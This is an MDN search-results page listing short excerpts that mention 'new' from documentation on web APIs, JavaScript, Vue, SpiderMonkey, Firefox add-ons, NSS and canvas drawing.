... copy the following code into that file: <template> <form class="stack-small" @submit.prevent="onsubmit"> <div> <label class="edit-label">edit name for &quot;{{label}}&quot;</label> <input :id="id" type="text" autocomplete="off" v-model.lazy.trim="newlabel" /> </div> <div class="btn-group"> <button type="button" class="btn" @click="oncancel"> cancel <span class="visually-hidden">editing {{label}}</span> </button> <button type="submit" class="btn btn__primary"> save <span class="visually-hidden">edit for {{label}}</span> </button> </div> </form> </template> <script> export default { props: { label: { type: string, required: true }, id: { type: string, required: true ...
... } }, data() { return { newlabel: this.label }; }, methods: { onsubmit() { if (this.newlabel && this.newlabel !== this.label) { this.$emit("item-edited", this.newlabel); } }, oncancel() { this.$emit("edit-cancelled"); } } }; </script> <style scoped> .edit-label { font-family: arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; color: #0b0c0c; display: block; margin-bottom: 5px; } input { display: inline-block; margin-top: 0.4rem; width: 100%; min-height: 4.4rem; padding: 0.4rem 0.8rem; border: 2px solid #565656; } form { display: flex; flex-direction: row; flex-wrap: wrap; } form > * { flex: 0 0 100%; } </style> note: walk through the above code then re...
...And 8 more matches
Storage access policy: Block cookies from trackers
firefox includes a new storage access policy that blocks cookies and other site data from third-party tracking resources.
...that's because we document new aspects of the policy as soon as they land in firefox nightly, our pre-release channel.
... we recommend sites test with firefox nightly, as this includes the newest version of our protections.
...And 8 more matches
Promise
promises may also be created using the new promise() constructor.
... method overview promise then([optional] function onfulfill, [optional] function onreject); promise catch([optional] function onreject); constructor creates a new promise, initially in the pending state, and provides references to the resolving functions that can be used to change its state.
... new promise(executor); parameters executor this function is invoked immediately with the resolving functions as its two arguments: executor(resolve, reject); the constructor will not return until the executor has completed.
...And 8 more matches
JSAPI Cookbook
creating an array // javascript var x = []; // or "x = array()", or "x = new array" /* jsapi */ js::rootedobject x(cx, js_newarrayobject(cx, 0)); if (!x) return false; creating an object // javascript var x = {}; // or "x = object()", or "x = new object" /* jsapi */ js::rootedobject x(cx, js_newplainobject(cx)); // or js_newobject(cx, js::nullptr(), js::nullptr(), js::nullptr()); if (!x) return false; constructing an object with new // javascript var pe...
...rson = new person("dave", 24); it looks so simple in javascript, but a jsapi application has to do three things here: look up the constructor, person prepare the arguments ("dave", 24) call js_new to simulate the new keyword (if your constructor doesn't take any arguments, you can skip the second step and call js_new(cx, constructor, 0, null) in step 3.) /* jsapi */ /* step 1 - get the value of |person| and check that it is an object.
...*/ js::rootedstring name_str(cx, js_newstringcopyz(cx, "dave")); if (!name_str) return false; js::autovaluearray<2> args(cx); args[0].setstring(name_str); args[1].setint32(24); /* step 3 - call |new person(...args)|, passing the arguments.
...And 8 more matches
SpiderMonkey 1.8.8
these release notes are an incomplete draft and were initially seeded from the 1.8.5 release notes, so lots of the information here isn't actually new to spidermonkey 1.8.8 (nor is it even the case that the version number will be 1.8.8!).
... it also contains new language and api features described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...And 8 more matches
SpiderMonkey 17
these release notes are an incomplete draft and were initially seeded from the (now-defunct) 1.8.8 release notes, which were themselves seeded from the 1.8.5 release notes, so lots of the information here isn't actually new to spidermonkey 17.
... it also contains new language and api features described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...And 8 more matches
Handling Mozilla Security Bugs
this document describes how the new security organizational structure will work, and how security-related mozilla bug reports will be handled.
... note that the focus of this new structure is restricted solely to addressing actual security vulnerabilities arising from problems in mozilla code.
... this work is separate from the work of developers adding new security features (cryptographically-based or otherwise) to mozilla, although obviously many of the same people will be involved in both sets of activities.
...And 8 more matches
Finishing the Component
copying interfaces into your build environment to get and implement interfaces that are not part of gecko in your component, simply create a new directory in the gecko sdk named unfrozen.
... copy the headers and idl files that you need from the content/base/public source directory of the gecko build into this new directory.
... implementing the nsicontentpolicy interface to implement the new interface, you must #include the unfrozen nsicontentpolicy, and you must also make sure the build system can find the file you've brought over.
...And 8 more matches
mozIStorageConnection
this is used by the storage api when creating new databases, and must match the sqlite_default_page_size configured in db/sqlite3/src/makefile.in.
... begintransaction() starts a new transaction deferred transaction.
... begintransactionas() this method starts a new transaction of the given transaction type.
...And 8 more matches
nsIXULTemplateBuilder
if a different match would become active, the content for the existing match is removed and the content for the new match is generated.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void rebuild(); void refresh(); void addresult(in nsixultemplateresult aresult, in nsidomnode aquerynode); void removeresult(in nsixultemplateresult aresult); void replaceresult(in nsixultemplateresult aoldresult, in nsixultemplateresult anewresult, in nsidomnode aquerynode); void resultbindingchanged(in nsixultemplateresult aresult); nsixultemplateresult getresultforid(in astring aid); nsixultemplateresult getresultforcontent(in nsidomelement aelement); boolean hasgeneratedcontent(in nsirdfresource anode, in nsiatom atag); void addrulefilter(in nsidomnode arule, in nsixultemplaterulefilter afilter); [noscript] void init(i...
...addresult() informs the template builder that a new result is available.
...And 8 more matches
Using Fetch - Web APIs
const formdata = new formdata(); const filefield = document.queryselector('input[type="file"]'); formdata.append('username', 'abc123'); formdata.append('avatar', filefield.files[0]); fetch('https://example.com/profile/avatar', { method: 'put', body: formdata }) .then(response => response.json()) .then(result => { console.log('success:', result); }) .catch(error => { console.error('error:', error); }); upl...
... const formdata = new formdata(); const photos = document.queryselector('input[type="file"][multiple]'); formdata.append('title', 'my vegas vacation'); for (let i = 0; i < photos.files.length; i++) { formdata.append('photos', photos.files[i]); } fetch('https://example.com/posts', { method: 'post', body: formdata, }) .then(response => response.json()) .then(result => { console.log('success:', result); }) .catch(error => { console.error('error:', error); }); processing a text file line by line the chunks that are read from a response are not broken neatly at line boundaries and are uint8arrays, not strings.
... async function* maketextfilelineiterator(fileurl) { const utf8decoder = new textdecoder('utf-8'); const response = await fetch(fileurl); const reader = response.body.getreader(); let { value: chunk, done: readerdone } = await reader.read(); chunk = chunk ?
...And 8 more matches
Working with the History API - Web APIs
state object the state object is a javascript object which is associated with the new history entry created by pushstate().
... whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object.
... url the new history entry's url is given by this parameter.
...And 8 more matches
Using the Payment Request API - Web APIs
creating a new payment request object a payment request always starts with the creation of a new paymentrequest object — using the paymentrequest() constructor.
... so for example, you could create a new paymentrequest instance like so: var request = new paymentrequest(buildsupportedpaymentmethoddata(), buildshoppingcartdetails()); the functions invoked inside the constructor simply return the required object parameters: function buildsupportedpaymentmethoddata() { // example supported payment methods: return [{ supportedmethods: 'basic-card', data:...
...it returns a promise that fulfills with a boolean indicating whether it is or not, for example: // dummy payment request to check whether payment can be made new paymentrequest(buildsupportedpaymentmethoddata(), {total: {label: 'stub', amount: {currency: 'usd', value: '0.01'}}}) .canmakepayment() .then(function(result) { if(result) { // real payment request var request = new paymentrequest(buildsupportedpaymentmethoddata(), checkoutobject); request.show().t...
...And 8 more matches
RTCRtpSender.replaceTrack() - Web APIs
the rtcrtpsender method replacetrack() replaces the track currently being used as the sender's source with a new mediastreamtrack.
... the new track must be of the same media kind (audio, video, etc) and switching the track should not require negotiation.
... syntax trackreplacedpromise = sender.replacetrack(newtrack); parameters newtrack optional a mediastreamtrack specifying the track with which to replace the rtcrtpsender's current source track.
...And 8 more matches
SVGTransformList - Web APIs
note: starting in gecko 9.0,the svgtransformlist dom interface is now indexable and can be accessed like arrays interface overview also implement none methods void clear() svgtransform initialize(in svgtransform newitem) svgtransform getitem(in unsigned long index) svgtransform insertitembefore(in svgtransform newitem, in unsigned long index) svgtransform replaceitem(in svgtransform newitem, in unsigned long index) svgtransform removeitem(in unsigned long index) svgtransform appenditem(in svgtransform newitem) svgtransform createsvgtransformfrommatrix(in svgmatrix) svgtrans...
... initialize(in svgtransform newitem) svgtransform clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter.
... insertitembefore(in svgtransform newitem, in unsigned long index) svgtransform inserts a new item into the list at the specified position.
...And 8 more matches
Writing a WebSocket server in C# - Web APIs
here's a barebones server implementation: ​using system.net.sockets; using system.net; using system; class server { public static void main() { tcplistener server = new tcplistener(ipaddress.parse("127.0.0.1"), 80); server.start(); console.writeline("server has started on 127.0.0.1:80.{0}waiting for a connection...", environment.newline); tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); } } tcpclient methods: system.net.sockets.networkstream getstream() gets the stream which is ...
... tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); networkstream stream = client.getstream(); //enter to an infinite cycle to be able to handle every change in stream while (true) { while (!stream.dataavailable); byte[] bytes = new byte[client.available]; stream.read(bytes, 0, bytes.length); } handshaking when a client connects to a server, it sends a get request to upgrade the connection to a websocket from a simple http request.
... using system.text; using system.text.regularexpressions; while(client.available < 3) { // wait for enough bytes to be available } byte[] bytes = new byte[client.available]; stream.read(bytes, 0, bytes.length); //translate bytes of request to string string data = encoding.utf8.getstring(bytes); if (regex.ismatch(data, "^get")) { } else { } the response is easy to build, but might be a little bit difficult to understand.
...And 8 more matches
Inputs and input sources - Web APIs
for example, if an xr device provides a mode in which the mouse is used to simulate events on the device, a new xrinputsource object might be created to represent the simulated input source for the duration of handling the action.
... let inputsourcelist = xrsession.inputsources; due to the fact that the contents of the xrinputsource objects representing each input source in the list are read-only, changes to these inputs are made by the webxr system by deleting the source's record and adding a new one to replace it.
... added an array of zero or more xrinputsource objects indicating the input sources that have been newly added to the xr system.
...And 8 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
offsetting or moving reference spaces while you can't change a reference space since both xrreferencespace and xrboundedreferencespace are read-only, you can easily create new reference spaces by applying an offset transform to them.
...for example, to create a new reference space that moves the reference space arefspace a half meter in each direction, you can do something like this: let halfmetertransform = new xrrigidtransform({ x: 0.5, y: 0.5, z: 0.5, w: 1.0 }); arefspace = arefspace.getoffsetreferencespace(halfmetertransform); this replaces the existing reference space arefspace with one whose coordinates and orientation have had the transform halfmetertransform applied.
... let viewerpose = frame.getviewerpose(worldreferencespace); let newsession = navigator.xr.requestsession("immersive-vr", { requiredfeatures: "unbounded" }); worldreferencespace = await newsession.requestreferencespace("unbounded"); viewerpose = worldreferencespace.getoffsetreferencespace(viewerpose.transform); here, the viewer pose is obtained, with its transform defined relative to worldreferencespace, the current session's global reference space.
...And 8 more matches
Starting up and shutting down a WebXR session - Web APIs
webxr availability as a new and still in development api, webxr support is limited to specific devices and browsers; and even on those, it may not be enabled by default.
... be sure to read the readme carefully; the polyfill comes in several versions depending on what degree of compatibility with newer javascript features your target browsers include.
... let webxrpolyfill = null; function getxr(usepolyfill) { let tempxr; let temppoly; switch(usepolyfill) { case "if-needed": if (!navigator.xr) { webxrpolyfill = new webxrpolyfill(); } tempxr = navigator.xr; break; case "yes": webxrpolyfill = new webxrpolyfill(); tempxr = navigator.xr; break; case "no": default: tempxr = navigator.xr; break; } return tempxr; } const xr = getxr("no"); // get the native xrsystem object const xr = getxr("yes"); // always returns an xrsystem from the polyfill cons...
...And 8 more matches
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
the xrreferencespace interface's getoffsetreferencespace() method returns a new reference space object which describes the relative difference in position between the object on which the method is called and a given point in 3d space.
... syntax offsetreferencespace = xrreferencespace.getoffsetreferencespace(originoffset); parameters originoffset an xrrigidtransform specifying the offset to the origin of the new reference space.
... these values are added to the position and orientation of the current reference space and then the result is used as the position and orientation of the newly created xrreferencespace.
...And 8 more matches
Box-shadow generator - CSS: Cascading Style Sheets
; elem = document.queryselectorall('.ui-slider-btn-set'); size = elem.length; for (var i = 0; i < size; i++) setbuttoncomponent(elem[i]); elem = document.queryselectorall('.ui-slider-input'); size = elem.length; for (var i = 0; i < size; i++) setinputcomponent(elem[i]); elem = document.queryselectorall('.ui-slider'); size = elem.length; for (var i = 0; i < size; i++) new slider(elem[i]); } return { init : init, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe } })(); /** * ui-buttonmanager */ var buttonmanager = (function checkboxmanager() { var subscribers = []; var buttons = []; var checkbox = function checkbox(node) { var topic = node.getattribute('data-topic'); var state = node.getattribute('data-state'); var n...
...; subscribers[topic].splice(index, 1); } var notify = function notify() { if (subscribers[this.topic] === undefined) return; for (var i = 0; i < subscribers[this.topic].length; i++) subscribers[this.topic][i](this.checkbox.checked); } var init = function init() { var elem = document.queryselectorall('.ui-checkbox'); var size = elem.length; for (var i = 0; i < size; i++) new checkbox(elem[i]); } return { init : init, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe } })(); window.addeventlistener("load", function(){ boxshadow.init(); }); var boxshadow = (function boxshadow() { function getelembyid(id) { return document.getelementbyid(id); } /** * rgba color class */ function color() { this.r = 0; this.g = 0; th...
... 1) { a = 'a'; v = ', ' + this.a; } var value = "rgb" + a + rgb + v + ")"; return value; } color.prototype.getcolor = function getcolor() { if (this.a | 0 === 1) return this.gethexa(); return this.getrgba(); } /** * shadow object */ function shadow() { this.inset = false; this.posx = 5; this.posy = -5; this.blur = 5; this.spread = 0; this.color = new color(); var hue = (math.random() * 360) | 0; var saturation = (math.random() * 75) | 0; var value = (math.random() * 50 + 50) | 0; this.color.sethsv(hue, saturation, value, 1); } shadow.prototype.computecss = function computecss() { var value = ""; if (this.inset === true) value += "inset "; value += this.posx + "px "; value += this.posy + "px "; value += this.blur +...
...And 8 more matches
Block formatting context - Developer guides
column-span: all should always create a new formatting context, even when the column-span: all element isn't contained by a multicol container (spec change, chrome bug).
... formatting contexts affect layout, but typically, we create a new block formatting context for the positioning and clearing floats rather than changing the layout, because an element that establishes a new block formatting context will: contain internal floats.
... note: a flex/grid container(display: flex/grid/inline-flex/inline-grid) establishes a new flex/grid formatting context, which is similar to block formatting context except layout.
...And 8 more matches
Evolution of HTTP - HTTP
on august 6th 1991, tim berners-lee's post on the public alt.hypertext newsgroup is now considered as the official start of the world wide web as a public project.
... with the help of the new http headers, the ability to transmit other documents than plain html files has been added (thanks to the content-type header).
... more than 15 years of extensions thanks to its extensibility – creating new headers or methods is easy – and even if the http/1.1 protocol was refined over two revisions, rfc 2616 published in june 1999 and the series of rfc 7230-rfc 7235 published in june 2014 in prevision of the release of http/2, this protocol has been extremely stable over more than 15 years.
...And 8 more matches
Functions - JavaScript
function map(f, a) { let result = []; // create a new array let i; // declare variable for (i = 0; i != a.length; i++) result[i] = f(a[i]); return result; } in the following code, the function receives a function defined by a function expression and executes it for every element of the array received as a second argument.
... function map(f, a) { let result = []; // create a new array let i; // declare variable for (i = 0; i != a.length; i++) result[i] = f(a[i]); return result; } const f = function(x) { return x * x * x; } let numbers = [0, 1, 2, 5, 10]; let cube = map(f,numbers); console.log(cube); function returns: [0, 1, 8, 125, 1000].
...since each call provides potentially different arguments, a new closure is created for each call to outside.
...And 8 more matches
Numbers and dates - JavaScript
to create a date object: var dateobjectname = new date([parameters]); where dateobjectname is the name of the date object being created; it can be a new object or a property of an existing object.
... calling date without the new keyword returns a string representing the current date and time.
...for example, today = new date();.
...And 8 more matches
Proxy - JavaScript
for example, this code defines a simple target with just two properties, and an even simpler handler with no properties: const target = { message1: "hello", message2: "everyone" }; const handler1 = {}; const proxy1 = new proxy(target, handler1); because the handler is empty, this proxy behaves just like the original target: console.log(proxy1.message1); // hello console.log(proxy1.message2); // everyone to customise the proxy, we define functions on the handler object: const target = { message1: "hello", message2: "everyone" }; const handler2 = { get: function(target, prop, receiver) { return "wo...
...rld"; } }; const proxy2 = new proxy(target, handler2); here we've provided an implementation of the get() handler, which intercepts attempts to access properties in the target.
...world console.log(proxy2.message2); // world with the help of the reflect class we can give some accessors the original behavior and redefine others: const target = { message1: "hello", message2: "everyone" }; const handler3 = { get: function (target, prop, receiver) { if (prop === "message2") { return "world"; } return reflect.get(...arguments); }, }; const proxy3 = new proxy(target, handler3); console.log(proxy3.message1); // hello console.log(proxy3.message2); // world constructor proxy() creates a new proxy object.
...And 8 more matches
Classes and Inheritance - Archive of obsolete content
to illustrate this, let's define a simple constructor for a class shape: function shape(x, y) { this.x = x; this.y = y; } we can now use this constructor to create instances of shape: let shape = new shape(2, 3); shape instanceof shape; // => true shape.x; // => 2 shape.y; // => 3 the keyword new tells javascript that we are performing a constructor call.
... constructor calls differ from ordinary function calls in that javascript automatically creates a new object and binds it to the keyword this for the duration of the call.
...however, since the value of this is undefined for ordinary function calls, we need to add some boilerplate code to convert them to constructor calls: function shape(x, y) { if (!this) return new shape(x, y); this.x = x; this.y = y; } prototypes every object has an implicit property, known as its prototype.
...And 7 more matches
ui/button/toggle - Archive of obsolete content
var button = togglebutton({ id: "my-button", label: "my button", icon: { "16": "./firefox-16.png", "32": "./firefox-32.png" }, onchange: function(state) { console.log(state.label + " checked state: " + state.checked); } }); by default, the button appears in the firefox toolbar: however, users can move it to the firefox menu panel: badged buttons new in firefox 36.
...el", but the button displayed when t4 is the active tab will show "my w2 label": browser: label = "my default" w1 t1 > displays "my default" t2 > displays "my default" w2 t3 > displays "my t3 label" t4 > displays "my w2 label" setting the properties on the button instance sets the button's global state: button.label = "my new label"; you can set state to be specific to a window or tab using the button's state() method.
... badge number or string new in firefox 36.
...And 7 more matches
ui/toolbar - Archive of obsolete content
/button/action'); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var previous = actionbutton({ id: "previous", label: "previous", icon: "./icons/previous.png" }); var next = actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = new frame({ url: "./frame-player.html" }); var toolbar = toolbar({ title: "player", items: [previous, next, play, frame] }); the toolbar appears just above the content window: to destroy a toolbar call its destroy() method.
... hidden state persists even over create/destroy cycles: if a toolbar is created, then hidden, then destroyed, and another toolbar with the same title is then created, the new toolbar will be in the hidden state.
...this add-on creates a toolbar containing one button and a frame: var { actionbutton } = require('sdk/ui/button/action'); var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var button = actionbutton({ id: "my-button", label: "my-button", icon: "./my-button.png" }); var frame = new frame({ url: "./my-frame.html" }); var toolbar = toolbar({ title: "player", items: [button, frame] }); this add-on creates a toolbar with one frame, that's hidden initially, and that logs show and hide events: var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var frame = new frame({ url: "./frame.html" }); var toolbar = toolbar({ title: "my toolb...
...And 7 more matches
Enhanced Extension Installation - Archive of obsolete content
when a newer version fo an existing extension is installed, files for the newer version are copied into the folder used by the older version, and obsolete files are not cleaned up.
... when changes are made to the extensions datasource - new items are installed, old items uninstalled, enabled or disabled, a .autoreg file is written to the profile directory as well, which tells the startup code that the system has been modified, so that it destroys the component registries, finishes pending transactions and regenerates metadata appropriately.
...at this time a new extensions.ini file is written locating the extension so that the component manager, preferences system and chrome registry can locate additional files on the next start.
...And 7 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
with compatibility updating it is not necessary to release a whole new version of the extension just to increase its maxversion.
...the information returned can be used to notify the user of an updated version to the add-on as well as inform the application of new application versions that the add-on is compatible with.
... note: starting in gecko 2.0, the automatic add-on update process properly supports cases in which the add-on's guid changes by uninstalling the old version and then installing the new one.
...And 7 more matches
Modifying a XUL Interface - Archive of obsolete content
creating new elements you can create new elements using the createelement() function of the document.
...for example, the following will add a button to a xul window: example 1 : source view <script> function addbutton(){ var abox = document.getelementbyid("abox"); var button = document.createelement("button"); button.setattribute("label","a new button"); abox.appendchild(button); } </script> <box id="abox" width="200"> <button label="add" oncommand="addbutton();"/> </box> this example has two parts a box container element in xul.
... the button element has two attributes "label" and "oncommand" a javascript function named "addbutton()" this script first gets a reference to the box with getelementbyid(), which is the container to add a new button to.
...And 7 more matches
Skinning XUL Files by Hand - Archive of obsolete content
but you may also want to define new classes of buttons particular to your xul file, in which case the style information will be wholly defined within your custom css file.
...if you create a style in your custom stylesheet for a button with a particular id, for example, some of the more basic style information for buttons in the global skin may take precedence over your new style and cause it not to be applied.
... style subgroups contextualsubgroups -- elements appearing within other elements, such as italicized text anywhere within a <p> element or a <div> -- can be grouped in css, but this is an extremely inefficient way to style xul, and is frowned upon in the mozilla development community (again, refer to the skinning guidelines in writing skinnable xul and css for more info); css2 also provides some new ways to group elements for styling, which we summarize briefly here, because they appear in mozilla with some frequency, but reserve for another article: pseudo-class parent-child element:pseudo-class { attribute: value; } parent > child { attribute: value; } button:hover { border: 1px; } menu#file > menuitem { font-weight: bold; } ...
...And 7 more matches
Anatomy of a video game - Game development
experienced game programmers who are new to web development could also benefit, too.
... present, accept, interpret, calculate, repeat the goal of every video game is to present the user(s) with a situation, accept their input, interpret those signals into actions, and calculate a new situation resulting from those acts.
...here is an example of a simple main loop: window.main = function () { window.requestanimationframe( main ); // whatever your main loop needs to do }; main(); // start the cycle note: in each of the main() methods discussed here, we schedule a new requestanimationframe before performing our loop contents.
...And 7 more matches
Bounding volume collision detection with THREE.js - Game development
var knot = new three.mesh( new three.torusknotgeometry(0.5, 0.1), new meshnormalmaterial({})); knot.geometry.computeboundingbox(); var knotbbox = new box3( knot.geometry.boundingbox.min, knot.geometry.boundingbox.max); note: the boundingbox property takes the geometry itself as reference, and not the mesh.
... var knot = new three.mesh( new three.torusknotgeometry(0.5, 0.1), new meshnormalmaterial({})); var knotbbox = new box3(new three.vector3(), new three.vector3()); knotbbox.setfromobject(knot); instantiating spheres instantiating sphere objects is similar.
... var knot = new three.mesh( new three.torusknotgeometry(0.5, 0.1), new meshnormalmaterial({})); var knotbsphere = new sphere( knot.position, knot.geometry.boundingsphere.radius); unfortunately, there is no equivalent of box3.setfromobject for sphere instances.
...And 7 more matches
Getting started with HTML - Learn web development
a block-level element appears on a new line following the content that precedes it.
... any content that follows a block-level element also appears on a new line.
...(not entire paragraphs or groupings of content) an inline element will not cause a new line to appear in the document.
...And 7 more matches
Making asynchronous programming easier with async and await - Learn web development
rewriting promise code with async/await let's look back at a simple fetch example that we saw in the previous article: fetch('coffee.jpg') .then(response => { if (!response.ok) { throw new error(`http error!
...body.appendchild(image); }) .catch(e => { console.log('there has been a problem with your fetch operation: ' + e.message); }); by now, you should have a reasonable understanding of promises and how they work, but let's convert this to use async/await to see how much simpler it makes things: async function myfetch() { let response = await fetch('coffee.jpg'); if (!response.ok) { throw new error(`http error!
... since an async keyword turns a function into a promise, you could refactor your code to use a hybrid approach of promises and await, bringing the second half of the function out into a new block to make it more flexible: async function myfetch() { let response = await fetch('coffee.jpg'); if (!response.ok) { throw new error(`http error!
...And 7 more matches
Silly story generator - Learn web development
starting point to get this assessment started, you should: go and grab the html file for the example, save a local copy of it as index.html in a new directory somewhere on your computer, and do the assessment locally to begin with.
... basic setup: create a new file called main.js, in the same directory as your index.html file.
... completing the result() function: create a new variable called newstory, and set its value to equal storytext.
...And 7 more matches
Componentizing our React app - Learn web development
make a <todo /> before we can make a component, we should create a new file for it.
... mkdir src/components touch src/components/todo.js our new todo.js file is currently empty!
... give each <todo /> call in app.js a new prop of completed.
...And 7 more matches
Displaying Places information using views
getservice(ci.nsinavhistoryservice); var query = histserv.getnewquery(); query.searchterms = "mozilla"; query.onlybookmarked = true; var opts = histserv.getnewqueryoptions(); opts.querytype = opts.query_type_bookmarks; var uri = histserv.queriestoquerystring([query], 1, opts); var tree = document.getelementbyid("mytree"); tree.place = uri; these two examples use the built-in tree view, but the point is to demonstrate the use of the place attribute and prope...
... when a view's underlying data changes, the view will automatically update itself so that it displays the new data.
... applyfilter() loads a new empty query with particular search terms and folders.
...And 7 more matches
Frame script loading and lifetime
on, use a "chrome.manifest" file to register a chrome url: // chrome.manifest content my-e10s-extension chrome/content/ // chrome script mm.loadframescript("chrome://my-e10s-extension/content/content.js", true); allowdelayedload if the message manager is a global frame message manager or a window message manager then: if allowdelayedload is true, the frame script will be loaded into any new frame, which has opened after the loadframescript() call.
... for example: var mm = window.messagemanager; mm.loadframescript("chrome://my-e10s-extension/content/frame-script.js", true); the script will be loaded into all tabs currently open in this window, and all new tabs opened afterwards.
... if you use allowdelayedload, you can cancel it by using removedelayedframescript: var mm = window.messagemanager; mm.removedelayedframescript("chrome://my-e10s-extension/content/frame-script.js"); this means we will stop loading the script into new tabs.
...And 7 more matches
Browser API
api extensions: the api includes several new methods and events to manipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface.
... browser api interfaces to support the requirement of a browser <iframe>, the htmliframeelement dom interface has been extended with new methods that give the <iframe> some super powers.
... event-related methods in order to manage the browser <iframe>'s content, many new events were added (see below).
...And 7 more matches
Overview of Mozilla embedding APIs
the component manager allows new instances of registered xpcom components to be instantiated.
...they provide some basic functionality which should be leveraged when building new xpcom components.
... do_createinstance this function simplifies creating new component instances.
...And 7 more matches
Downloads.jsm
the downloads.jsm javascript code module provides a single entry point to interact with the downloading capabilities of the platform, including starting new downloads, controlling ongoing downloads, and retrieving download-related configuration.
...example (using task.jsm): try { yield downloads.fetch(sourceuri, targetfile); } catch (ex if ex instanceof downloads.error && ex.becausetargetfailed) { console.log("unable to write to the target file, ignoring the error."); } methods createdownload() creates a new download object.
... promise<download> createdownload( object aproperties ); parameters aproperties provides the initial properties for the newly created download.
...And 7 more matches
NSS_3.12.3_release_notes.html
nss 3.12.3 release notes 2009-04-01 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12.3 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12.3 is a patch release for nss 3.12.
... new in nss 3.12.3 changes in behavior: in the development of nss 3.12.3, it became necessary to change some old library behaviors due to the discovery of certain vulnerabilities in the old behaviors, and to correct some errors that had limited nss's ability to interoperate with cryptographic hardware and software from other sources.
... most of these changes should cause no problems for nss users, but in some cases, some customers' software, hardware and/or certificates may be dependent on the old behaviors, and may have difficulty with the new behaviors.
...And 7 more matches
Rhino serialization
simple serialization example the rhino shell has two new top-level functions, serialize and deserialize.
... they're intended mainly as examples of the use of serialization: $ java org.mozilla.javascript.tools.shell.main js> function f() { return 3; } js> serialize(f, "f.ser") js> quit() $ java org.mozilla.javascript.tools.shell.main js> f = deserialize("f.ser") function f() { return 3;} js> f() 3 js> here we see a simple case of a function being serialized to a file and then read into a new instance of rhino and called.
... rhino serialization apis two new classes, scriptableoutputstream and scriptableinputstream, were introduced to handle serialization of rhino classes.
...And 7 more matches
SpiderMonkey 38
it also contains new language and api features described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... xxx will need updating for actual new gc stuff at time!
...And 7 more matches
Creating the Component Code
several new options have been added to regxpcom in versions 1.4 and later.
...this is the object that contains the business logic, that implements functionality such as starting a network download, implementing interfaces that listen to the download progress, or providing a new content type handler.
...in order to make the weblock component work in mozilla, you have to implement a new interface to the weblock component, iweblock, where the actual work specific to the the web locking features happens.
...And 7 more matches
nsIFaviconService
you should use the new async api moziasyncfavicons.getfavicondataforpage() instead.
...you should use the new async api moziasyncfavicons.getfavicondataforpage() instead.
...you should use the new async api moziasyncfavicons.getfaviconurlforpage() instead.
...And 7 more matches
nsIProtocolHandler
if you wish to create a new protocol handler, you need to implement this interface.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean allowport(in long port, in string scheme); nsichannel newchannel(in nsiuri auri); nsiuri newuri(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description defaultport long the default port is the port the protocol uses by default.
...nsiioservice.newchannelfromuri() will feed uris from this protocol handler to the http protocol handler instead.
...And 7 more matches
nsMsgFolderFlagType
defined in comm-central/ mailnews/ base/ public/ nsmsgfolderflags.idl typedef unsigned long nsmsgfolderflagtype; /// flags about a folder or a newsgroup.
... * @{ */ /// this folder is a newsgroup folder.
... const nsmsgfolderflagtype newsgroup = 0x00000001; /// this folder is a news server.
...And 7 more matches
Cached compose window FAQ
instead of destroying the mail compose window on send (or close) just to create a new one the next time, mozilla mail will "cache" the compose window on send (or close), and use that instead.
... any new window performance problems that mozilla has are especially painful in mail compose, as we need to create a new compose window on every new mail message or reply.
... if the user has this usage pattern, we wouldn't have to create a new window.
...And 7 more matches
Declaring types
you can define values of these types without declaring new types.
... for example, to define a new 32-bit integer variable with the value 5: var i = ctypes.int32_t(5); you can then pass a pointer to this value to a c function that requires a pointer to a 32-bit integer, like this: some_c_function(i.address()); declaring new primitive types there are times when you want to create new types that are simply new names for existing primitive types.
... { fieldn: typen } ] example for example, to support the c tm structure using js-ctypes, you would use the following code: const struct_tm = new ctypes.structtype("tm", [ { "tm_sec": ctypes.int }, { "tm_min": ctypes.int }, { "tm_hour": ctypes.int }, { "tm_mday": ctypes.int }, { "tm_mon": ctypes.int }, { "tm_year": ctypes.int }, { "tm_wday": ctypes.int }, ...
...And 7 more matches
Scripting plugins - Plugins
« previousnext » xxx: dummy p element this document describes the new cross-browser npapi extensions, commonly called npruntime, that have been developed by a group of browser and plugin vendors, including the mozilla foundation, adobe, apple, opera, and sun microsystems (see press release).
... this document also explains how to make a plugin use these new extensions to be scriptable as well as how to access objects in a browser.
...this extension will also let plugins access the script objects in the browser, and is thus a much stronger and more flexible api.) the information in this section applies to firefox 1.0 and mozilla 1.7.5 and newer versions.
...And 7 more matches
Drawing shapes with canvas - Web APIs
here are the functions used to perform these steps: beginpath() creates a new path.
...every time this method is called, the list is reset and we can start drawing new shapes.
... note: when the current path is empty, such as immediately after calling beginpath(), or on a newly created canvas, the first path construction command is always treated as a moveto(), regardless of what it actually is.
...And 7 more matches
Using images - Web APIs
creating an image from scratch another option is to create new htmlimageelement objects in our script.
... to do this, you can use the convenient image() constructor: var img = new image(); // create new img element img.src = 'myimage.png'; // set source path when this script gets executed, the image starts loading.
